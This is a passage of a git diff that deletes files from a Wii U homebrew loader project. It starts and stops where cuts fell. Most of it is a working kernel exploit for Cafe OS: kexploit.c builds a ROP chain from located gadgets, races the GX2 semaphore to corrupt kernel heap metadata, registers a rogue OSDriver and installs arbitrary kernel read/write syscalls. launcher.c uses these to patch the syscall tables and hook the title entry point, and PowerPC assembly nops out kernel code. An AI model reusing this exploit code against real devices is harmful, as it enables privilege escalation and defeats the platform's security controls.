SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_2) -#endif -#ifdef BAT_SET_NOP_ADDR_3 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_3) -#endif -#ifdef BAT_SET_NOP_ADDR_4 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_4) -#endif -#ifdef BAT_SET_NOP_ADDR_5 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_5) -#endif -#ifdef BAT_SET_NOP_ADDR_6 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_6) -#endif -#ifdef BAT_SET_NOP_ADDR_7 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_7) -#endif - -#if (defined(BAT_SET_NOP_ADDR_8) && defined(BAT_SET_NOP_ADDR_9)) - # memory barrier - eieio - isync - - # setup DBAT0 for access to kernel code memory - lis r3, 0xFFEE - ori r3, r3, 0x0002 - mtdbatu 0, r3 - lis r3, 0xFFEE - ori r3, r3, 0x0032 - mtdbatl 0, r3 - - # memory barrier - eieio - isync - - # write "nop" to some positions - lis r4, 0x6000 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_8) - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_9) -#endif - - # memory barrier - eieio - isync - - # restore DBAT 0 and return from interrupt - mtdbatu 0, r5 - mtdbatl 0, r6 - - # memory barrier - eieio - isync - - blr - diff --git a/dsrom/vwii_loader/kexploit.c b/dsrom/vwii_loader/kexploit.c deleted file mode 100644 index 5fa4419..0000000 --- a/dsrom/vwii_loader/kexploit.c +++ /dev/null @@ -1,245 +0,0 @@ -#include "kexploit.h" -#include "coreinit.h" - -void wait(unsigned int coreinit_handle, unsigned int t); -void doBrowserShutdown(unsigned int coreinit_handle); -void setupOSScreen(unsigned int coreinit_handle); -void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos); -void exitOSScreen(unsigned int coreinit_handle); -void callSysExit(unsigned int coreinit_handle, void *sysFunc); - -/* Initial setup code stolen from Pong, makes race much more reliable */ -void run_kexploit(private_data_t *private_data) -{ - /* Get a handle to coreinit.rpl and gx2.rpl */ - unsigned int coreinit_handle = private_data->coreinit_handle; - unsigned int gx2_handle = 0; - OSDynLoad_Acquire("gx2.rpl", &gx2_handle); - - /* Exit functions */ - void (*__PPCExit)(); - OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); - - /* Memory functions */ - void (*DCFlushRange)(void *buffer, uint32_t length); - void* (*OSAllocFromSystem)(uint32_t size, int align); - void (*OSFreeToSystem)(void *ptr); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); - - /* OS thread functions */ - bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int priority, uint16_t attr); - int (*OSResumeThread)(void *thread); - void (*OSExitThread)(); - int (*OSIsThreadTerminated)(void *thread); - void (*OSYieldThread)(void); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); - OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); - - /* OSDriver functions */ - uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; - uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); - uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; - uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); - uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; - uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); - uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; - uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); - - /* GX2 functions */ - void (*GX2SetSemaphore)(uint64_t *sem, int action); - void (*GX2Init)(void *arg); - void (*GX2Shutdown)(void); - OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore); - OSDynLoad_FindExport(gx2_handle, 0, "GX2Init", &GX2Init); - OSDynLoad_FindExport(gx2_handle, 0, "GX2Shutdown", &GX2Shutdown); - - /* Init GX2 again */ - GX2Init((void*)0); - - /* Allocate space for DRVHAX */ - uint32_t *drvhax = OSAllocFromSystem(0x4c, 4); - - /* Set the kernel heap metadata entry */ - uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE)); - metadata[0] = (uint32_t)drvhax; - metadata[1] = (uint32_t)-0x4c; - metadata[2] = (uint32_t)-1; - metadata[3] = (uint32_t)-1; - - /* Find some gadgets */ - uint32_t gx2data[] = {0xFC2A0000}; - uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); - uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; - uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000); - uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020}; - uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000); - uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; - uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18; - uint32_t gx2rop[] = {0x819A0004, 0x55800036, 0x7C006040, 0x40820054, 0x2C190000, 0x4182004C, 0x2C1F0000, 0x40820044, 0x2C1D0000, 0x4182003C, 0x2C1E0000}; - uint32_t gx2rop_addr = (uint32_t) find_gadget(gx2rop, 0x2C, 0x01000000); - - /* Modify a next ptr on the heap */ - uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; - - /* Make a thread to modify the semaphore */ - OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000, 8); - uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xA0, 0x20); - if (!OSCreateThread(thread, (void*)gx2rop_addr, 0, NULL, ((uint32_t)stack) + 0xA0, 0xA0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread"); - - /* Set up the ROP chain */ - thread->gpr[1] = (uint32_t)stack; - thread->gpr[3] = kpaddr; - thread->gpr[30] = gx2data_addr; - thread->gpr[31] = 1; - thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C; - - stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */ - stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */ - stack[0x2c/4] = 1; /* r31 = 1 (signal) */ - - stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */ - stack[0x38/4] = kpaddr; - - stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */ - - stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */ - stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */ - stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */ - - stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */ - - stack[0x94/4] = (uint32_t)OSExitThread; - - DCFlushRange(thread, 0x1000); - DCFlushRange(stack, 0x1000); - - /* Start the thread */ - OSResumeThread(thread); - - /* Wait for a while */ - while(OSIsThreadTerminated(thread) == 0) - { - OSYieldThread(); - } - - /* Free stuff */ - private_data->MEMFreeToDefaultHeap(thread); - private_data->MEMFreeToDefaultHeap(stack); - - /* Register a new OSDriver, DRVHAX */ - char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'}; - Register(drvname, 6, NULL, NULL); - - /* Modify its save area to point to the kernel syscall table */ - drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4); - - /* Use DRVHAX to install the read and write syscalls */ - uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE}; - CopyToSaveArea(drvname, 6, syscalls, 8); - - /* Clean up the heap and driver list so we can exit */ - kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0); - kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]); - - /* Shut down GX2 again */ - GX2Shutdown(); -} - -/* Simple memcmp() implementation */ -int memcmp(void *ptr1, void *ptr2, uint32_t length) -{ - uint8_t *check1 = (uint8_t*) ptr1; - uint8_t *check2 = (uint8_t*) ptr2; - uint32_t i; - for (i = 0; i < length; i++) - { - if (check1[i] != check2[i]) return 1; - } - - return 0; -} - -void* memcpy(void* dst, const void* src, uint32_t size) -{ - uint32_t i; - for (i = 0; i < size; i++) - ((uint8_t*) dst)[i] = ((const uint8_t*) src)[i]; - return dst; -} - -/* Find a gadget based on a sequence of words */ -void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) -{ - uint32_t *ptr; - - /* Search code before JIT area first */ - for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++) - { - if (!memcmp(ptr, &code[0], length)) return ptr; - } - - /* Restart search after JIT */ - for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++) - { - if (!memcmp(ptr, &code[0], length)) return ptr; - } - - OSFatal("Gadget not found!"); - return (void*)0; -} - -/* Read a 32-bit word with kernel permissions */ -uint32_t __attribute__ ((noinline)) kern_read(const void *addr) -{ - uint32_t result; - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "li 5,0\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%1\n" - "li 0,0x3400\n" - "mr %0,1\n" - "sc\n" - "nop\n" - "mr 1,%0\n" - "mr %0,3\n" - : "=r"(result) - : "b"(addr) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); - - return result; -} - -/* Write a 32-bit word with kernel permissions */ -void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) -{ - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "mr 5,%1\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%0\n" - "mr %1,1\n" - "li 0,0x3500\n" - "sc\n" - "nop\n" - "mr 1,%1\n" - : - : "r"(addr), "r"(value) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); -} diff --git a/dsrom/vwii_loader/kexploit.h b/dsrom/vwii_loader/kexploit.h deleted file mode 100644 index 096aa97..0000000 --- a/dsrom/vwii_loader/kexploit.h +++ /dev/null @@ -1,51 +0,0 @@ -#ifndef KEXPLOIT_H -#define KEXPLOIT_H - -#include "structs.h" -#include "types.h" - -/* Wait times for CPU0 and CPU2 */ -#define CPU0_WAIT_TIME 80 -#define CPU2_WAIT_TIME 92 - -/* Gadget finding addresses */ -#define JIT_ADDRESS 0x01800000 -#define CODE_ADDRESS_START 0x0D800000 -#define CODE_ADDRESS_END 0x0F848A0C - -/* Kernel addresses, stolen from Chadderz */ -#define KERN_HEAP 0xFF200000 -#define KERN_HEAP_PHYS 0x1B800000 - -#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown -#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games -#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader -#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu -#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL) - -#define KERN_CODE_READ 0xFFF023D4 -#define KERN_CODE_WRITE 0xFFF023F4 -#define KERN_ADDRESS_TBL 0xFFEAB7A0 -#define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270) - -/* Browser PFID */ -#define PFID_BROWSER 8 - -/* Kernel heap constants */ -#define STARTID_OFFSET 0x08 -#define METADATA_OFFSET 0x14 -#define METADATA_SIZE 0x10 - -/* Size of a Cafe OS thread */ -#define OSTHREAD_SIZE 0x1000 - -void run_kexploit(private_data_t *private_data); - -/* Find a ROP gadget by a sequence of bytes */ -void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start); - -/* Arbitrary read and write syscalls */ -uint32_t __attribute__ ((noinline)) kern_read(const void *addr); -void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value); - -#endif /* KEXPLOIT_H */ diff --git a/dsrom/vwii_loader/launcher.c b/dsrom/vwii_loader/launcher.c deleted file mode 100644 index 7b51dfc..0000000 --- a/dsrom/vwii_loader/launcher.c +++ /dev/null @@ -1,398 +0,0 @@ -#include "types.h" -#include "elf_abi.h" -#include "kexploit.h" -#include "structs.h" -#include "sd_loader.h" -#include "coreinit.h" - -#define MEM_BASE 0xC0800000 -#include "common.h" -#include "os_defs.h" - -//! this shouldnt depend on OS -#define LIB_CODE_RW_BASE_OFFSET 0xC1000000 -#define CODE_RW_BASE_OFFSET 0xC0000000 -#define DATA_RW_BASE_OFFSET 0xC0000000 - -#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040 -#define ADDRESS_main_entry_hook 0x0101C56C - -#define ROOTRPX_DBAT0U_VAL 0xC00003FF -#define COREINIT_DBAT0U_VAL 0xC20001FF - -#define ROOTRPX_DBAT0L_VAL 0x30000012 -#define COREINIT_DBAT0L_VAL 0x32000012 - -#define address_LiWaitIopComplete 0x01010180 -#define address_LiWaitIopCompleteWithInterrupts 0x0101006C -#define address_LiWaitOneChunk 0x0100080C -#define address_PrepareTitle_hook 0xFFF184E4 -#define address_sgIsLoadingBuffer 0xEFE19E80 -#define address_gDynloadInitialized 0xEFE13DBC - -/* Install functions */ -static void InstallMain(private_data_t *private_data); -static void InstallPatches(private_data_t *private_data); -static void PrepareScreen(private_data_t *private_data); -static void ExitFailure(private_data_t *private_data, const char *failure); - -static void SetupKernelSyscall(unsigned int addr); -static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); - -/* assembly functions */ -extern void SC_0x25_KernelCopyData(void* addr, void* src, unsigned int len); -extern void Syscall_0x36(void); -extern void KernelPatches(void); - -/* ****************************************************************** */ -/* ENTRY POINT */ -/* ****************************************************************** */ -void __main(void) -{ - /* Get coreinit handle and keep it in memory */ - unsigned int coreinit_handle; - OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); - - /* Get our memory functions */ - unsigned int* functionPointer; - void* (*p_memset)(void * dest, unsigned int value, unsigned int bytes); - OSDynLoad_FindExport(coreinit_handle, 0, "memset", &p_memset); - - private_data_t private_data; - p_memset(&private_data, 0, sizeof(private_data_t)); - - private_data.coreinit_handle = coreinit_handle; - private_data.memset = p_memset; - private_data.data_elf = (unsigned char *) sd_loader_sd_loader_elf; // use this address as temporary to load the elf - - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer); - private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer; - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer); - private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer; - - OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &private_data.memcpy); - OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &private_data.OSEffectiveToPhysical); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &private_data.DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &private_data.ICInvalidateRange); - OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &private_data._Exit); - - /* do kernel exploit if needed */ - if (private_data.OSEffectiveToPhysical((void *)0xa0000000) == (void *)0) - run_kexploit(&private_data); - - /* Since we inited GX2 without initing the screen before do that now */ - /* Without this the hbl load will have some screen corruptions */ - PrepareScreen(&private_data); - - /* Do SYSLaunchMenu to boot vWii */ - unsigned int sysapp_handle; - void (*SYSLaunchMenu)(void) = 0; - OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); - OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchMenu", &SYSLaunchMenu); - SYSLaunchMenu(); - - /* setup kernel copy data syscall */ - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), (unsigned int)KernelCopyData); - - /* Install our code now */ - InstallMain(&private_data); - - /* setup our own syscall and call it */ - SetupKernelSyscall((unsigned int)KernelPatches); - Syscall_0x36(); - - /* Patch functions and our code for usage */ - InstallPatches(&private_data); - - /* Exit our core 0 thread to return to main */ - void (*OSExitThread)(int); - OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); - OSExitThread(0); -} - -void PrepareScreen(private_data_t *private_data) -{ - // Prepare screen - void (*OSScreenInit)(); - unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum); - unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); - unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); - unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); - - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenInit", &OSScreenInit); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); - - // Prepare screen - int screen_buf0_size = 0; - int screen_buf1_size = 0; - unsigned int screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a; - - // Init screen and screen buffers - OSScreenInit(); - screen_buf0_size = OSScreenGetBufferSizeEx(0); - screen_buf1_size = OSScreenGetBufferSizeEx(1); - OSScreenSetBufferEx(0, (void *)0xF4000000); - OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size); - - // Clear screens - OSScreenClearBufferEx(0, screen_color); - OSScreenClearBufferEx(1, screen_color); - - // Flush the cache - private_data->DCFlushRange((void *)0xF4000000, screen_buf0_size); - private_data->DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size); - - // Flip buffers - OSScreenFlipBuffersEx(0); - OSScreenFlipBuffersEx(1); -} - -void ExitFailure(private_data_t *private_data, const char *failure) -{ - /************************************************************************/ - unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); - unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); - unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); - - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); - - OSScreenPutFontEx(1, 0, 0, failure); - - OSScreenFlipBuffersEx(1); - OSScreenClearBufferEx(1, 0); - - unsigned int t1 = 0x3FFFFFFF; - while(t1--) asm volatile("nop"); - - private_data->_Exit(0); -} - -/* ***************************************************************************** - * Base functions - * ****************************************************************************/ -static void SetupKernelSyscall(unsigned int address) -{ - // Add syscall #0x36 - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x36 * 4)), address); - - // make kern_read/kern_write available in all places - kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ); - - kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE); -} - -static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) -{ - /* - * Setup a DBAT access for our 0xC0800000 area and our 0xBC000000 area which hold our variables like GAME_LAUNCHED and our BSS/rodata section - */ - register unsigned int dbatu0, dbatl0, target_dbat0u, target_dbat0l; - // setup mapping based on target address - if ((addr >= 0xC0000000) && (addr < 0xC2000000)) // root.rpx address - { - target_dbat0u = ROOTRPX_DBAT0U_VAL; - target_dbat0l = ROOTRPX_DBAT0L_VAL; - } - else if ((addr >= 0xC2000000) && (addr < 0xC3000000)) - { - target_dbat0u = COREINIT_DBAT0U_VAL; - target_dbat0l = COREINIT_DBAT0L_VAL; - } - // save the original DBAT value - asm volatile("mfdbatu %0, 0" : "=r" (dbatu0)); - asm volatile("mfdbatl %0, 0" : "=r" (dbatl0)); - asm volatile("mtdbatu 0, %0" : : "r" (target_dbat0u)); - asm volatile("mtdbatl 0, %0" : : "r" (target_dbat0l)); - asm volatile("eieio; isync"); - - unsigned char *src_p = (unsigned char*)src; - unsigned char *dst_p = (unsigned char*)addr; - - unsigned int i; - for(i = 0; i < len; i++) - { - dst_p[i] = src_p[i]; - } - - unsigned int flushAddr = addr & ~31; - - while(flushAddr < (addr + len)) - { - asm volatile("dcbf 0, %0; sync" : : "r"(flushAddr)); - flushAddr += 0x20; - } - - /* - * Restore original DBAT value - */ - asm volatile("mtdbatu 0, %0" : : "r" (dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (dbatl0)); - asm volatile("eieio; isync"); -} - -static int strcmp(const char *s1, const char *s2) -{ - while(*s1 && *s2) - { - if(*s1 != *s2) { - return -1; - } - s1++; - s2++; - } - - if(*s1 != *s2) { - return -1; - } - return 0; -} - -static unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found) -{ - Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data; - - if ( !data - || !IS_ELF (*ehdr) - || (ehdr->e_type != ET_EXEC) - || (ehdr->e_machine != EM_PPC)) - { - ExitFailure(private_data, "Invalid elf file"); - } - - Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff); - int i; - for(i = 0; i < ehdr->e_shnum; i++) - { - const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name; - if(strcmp(section_name, name) == 0) - { - if(addr) - *addr = shdr[i].sh_addr; - if(size) - *size = shdr[i].sh_size; - return shdr[i].sh_offset; - } - } - - if(fail_on_not_found) - ExitFailure(private_data, (char*)name); - - return 0; -} - -/* ****************************************************************** */ -/* INSTALL MAIN CODE */ -/* ****************************************************************** */ -static void InstallMain(private_data_t *private_data) -{ - // get .text section - unsigned int main_text_addr = 0; - unsigned int main_text_len = 0; - unsigned int section_offset = get_section(private_data, private_data->data_elf, ".text", &main_text_len, &main_text_addr, 1); - unsigned char *main_text = private_data->data_elf + section_offset; - /* Copy main .text to memory */ - if(section_offset > 0) - SC_0x25_KernelCopyData((void*)(CODE_RW_BASE_OFFSET + main_text_addr), main_text, main_text_len); - - // get the .rodata section - unsigned int main_rodata_addr = 0; - unsigned int main_rodata_len = 0; - section_offset = get_section(private_data, private_data->data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0); - if(section_offset > 0) - { - unsigned char *main_rodata = private_data->data_elf + section_offset; - /* Copy main rodata to memory */ - SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_rodata_addr), main_rodata, main_rodata_len); - } - - // get the .data section - unsigned int main_data_addr = 0; - unsigned int main_data_len = 0; - section_offset = get_section(private_data, private_data->data_elf, ".data", &main_data_len, &main_data_addr, 0); - if(section_offset > 0) - { - unsigned char *main_data = private_data->data_elf + section_offset; - /* Copy main data to memory */ - SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_data_addr), main_data, main_data_len); - } - - // get the .bss section - unsigned int main_bss_addr = 0; - unsigned int main_bss_len = 0; - section_offset = get_section(private_data, private_data->data_elf, ".bss", &main_bss_len, &main_bss_addr, 0); - if(section_offset > 0) - { - unsigned char *main_bss = private_data->data_elf + section_offset; - /* Copy main data to memory */ - SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_bss_addr), main_bss, main_bss_len); - } -} - -/* ****************************************************************** */ -/* INSTALL PATCHES */ -/* All OS specific stuff is done here */ -/* ****************************************************************** */ -static void InstallPatches(private_data_t *private_data) -{ - OsSpecifics osSpecificFunctions; - private_data->memset(&osSpecificFunctions, 0, sizeof(OsSpecifics)); - - unsigned int bufferU32; - /* Pre-setup a few options to defined values */ - bufferU32 = VER; - SC_0x25_KernelCopyData((void*)&OS_FIRMWARE, &bufferU32, sizeof(bufferU32)); - bufferU32 = 0xDEADC0DE; - SC_0x25_KernelCopyData((void*)&MAIN_ENTRY_ADDR, &bufferU32, sizeof(bufferU32)); - SC_0x25_KernelCopyData((void*)&ELF_DATA_ADDR, &bufferU32, sizeof(bufferU32)); - bufferU32 = 0; - SC_0x25_KernelCopyData((void*)&ELF_DATA_SIZE, &bufferU32, sizeof(bufferU32)); - /* Related to vwii elf choice */ - SC_0x25_KernelCopyData((void*)&VWII_TITLE_ID_LOW, (void*)0xF5E70000, 4); - SC_0x25_KernelCopyData((void*)&VWII_TITLE_ID_HIGH, (void*)0xF5E70004, 4); - - unsigned int jump_main_hook = 0; - osSpecificFunctions.addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire; - osSpecificFunctions.addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport; - - osSpecificFunctions.addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1; - osSpecificFunctions.addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2; - osSpecificFunctions.addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3; - osSpecificFunctions.addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4; - osSpecificFunctions.addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5; - - osSpecificFunctions.LiWaitIopComplete = (int (*)(int, int *)) address_LiWaitIopComplete; - osSpecificFunctions.LiWaitIopCompleteWithInterrupts = (int (*)(int, int *)) address_LiWaitIopCompleteWithInterrupts; - osSpecificFunctions.addr_LiWaitOneChunk = address_LiWaitOneChunk; - osSpecificFunctions.addr_PrepareTitle_hook = address_PrepareTitle_hook; - osSpecificFunctions.addr_sgIsLoadingBuffer = address_sgIsLoadingBuffer; - osSpecificFunctions.addr_gDynloadInitialized = address_gDynloadInitialized; - osSpecificFunctions.orig_LiWaitOneChunkInstr = *(unsigned int*)address_LiWaitOneChunk; - - //! pointer to main entry point of a title - osSpecificFunctions.addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr; - - SC_0x25_KernelCopyData((void*)OS_SPECIFICS, &osSpecificFunctions, sizeof(OsSpecifics)); - - //! at this point we dont need to check header and stuff as it is sure to be OK - Elf32_Ehdr *ehdr = (Elf32_Ehdr *) private_data->data_elf; - unsigned int mainEntryPoint = ehdr->e_entry; - - //! Install our entry point hook - unsigned int repl_addr = ADDRESS_main_entry_hook; - unsigned int jump_addr = mainEntryPoint & 0x03fffffc; - bufferU32 = 0x48000003 | jump_addr; - SC_0x25_KernelCopyData((void*)(LIB_CODE_RW_BASE_OFFSET + repl_addr), &bufferU32, sizeof(bufferU32)); - // flush caches and invalidate instruction cache - private_data->ICInvalidateRange((void*)(repl_addr), 4); -} diff --git a/dsrom/vwii_loader/logger.c b/dsrom/vwii_loader/logger.c deleted file mode 100644 index 7873ffd..0000000 --- a/dsrom/vwii_loader/logger.c +++ /dev/null @@ -1,74 +0,0 @@ -#include -#include -#include -#include -#include -#include "common/common.h" -#include "dynamic_libs/socket_functions.h" -#include "logger.h" - -static int log_socket = 0; - - -void log_init(void) -{ - if(log_socket > 0) - return; - - log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); - if (log_socket < 0) - return; - - struct sockaddr_in connect_addr; - memset(&connect_addr, 0, sizeof(connect_addr)); - connect_addr.sin_family = AF_INET; - connect_addr.sin_port = 4405; - inet_aton("192.168.0.44", &connect_addr.sin_addr); - - if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0) - { - socketclose(log_socket); - log_socket = -1; - } -} - -void log_print(const char *str) -{ - // socket is always 0 initially as it is in the BSS - if(log_socket <= 0) { - log_init(); - return; - } - - int len = strlen(str); - int ret; - while (len > 0) { - ret = send(log_socket, str, len, 0); - if(ret < 0) - return; - - len -= ret; - str += ret; - } -} - -void log_printf(const char *format, ...) -{ - if(log_socket <= 0) { - log_init(); - return; - } - - 